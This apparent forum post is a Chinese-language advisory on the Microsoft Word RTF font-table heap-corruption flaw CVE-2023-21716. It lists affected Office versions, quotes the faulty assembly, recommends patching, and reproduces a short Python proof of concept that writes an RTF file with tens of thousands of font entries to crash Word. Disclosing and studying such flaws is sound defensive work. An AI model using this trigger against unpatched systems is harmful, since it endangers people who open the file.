Microsoft Word 远程代码执行漏洞(CVE-2023-21716)修复与应对方案

图片[1]-Microsoft Word 远程代码执行漏洞(CVE-2023-21716)修复与应对方案-山海云端论坛

Microsoft Word是Microsoft Office套件中的文字处理应用程序,通常用于处理富文本格式(RTF)文档。RTF文档由基于7位ASCII的关键字组成,可以包含各种丰富的内容。然而,Microsoft Word中的RTF解析器在处理包含过多字体(\fonttbl)的字体表时存在堆损坏漏洞。

受影响的版本包括:

  • Microsoft Office 365(Insider Preview – 2211 Build 15831.20122 CTR)
  • Microsoft Office 2016(包括 Insider Slow – 1704 Build 8067.2032 CTR)
  • Microsoft Office 2013
  • Microsoft Office 2010
  • Microsoft Office 2007

漏洞信息:

漏洞产生于Microsoft Word中的RTF解析器处理字体表(\fonttbl)包含过多字体(\f###)的情况。当处理字体表时,字体id值(\f后面的字符)在以下代码中被处理:

<code>movsx ecx, word ptr [esi] ; load base idx movsx edx, word ptr [esi+2] ; load font idx lea edx, [ecx+edx*2] ; multiply by ~3 mov cx, word ptr [eax] ; load the codepage value mov word ptr [esi+edx*2+4], cx ; write the code page</code>

漏洞防护:

微软官方已针对受支持的产品版本发布了修复该漏洞的安全补丁。建议受影响用户开启系统自动更新安装补丁以进行防护。

测试提示代码:

<code>#!/usr/bin/python # # PoC for: # Microsoft Word RTF Font Table Heap Corruption Vulnerability # # by Joshua J. Drake (@jduck) # import sys # allow overriding the number of fonts num = 32761 if len(sys.argv) > 1: num = int(sys.argv[1]) f = open("tezt.rtf", "wb") f.write("{\\rtf1{\n{\\fonttbl") for i in range(num): f.write("{\\f%dA;}\n" % i) f.write("}\n") f.write("{\\rtlch it didn't crash?? no calc?! BOO!!!}\n") f.write("}}\n") f.close()</code>
© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容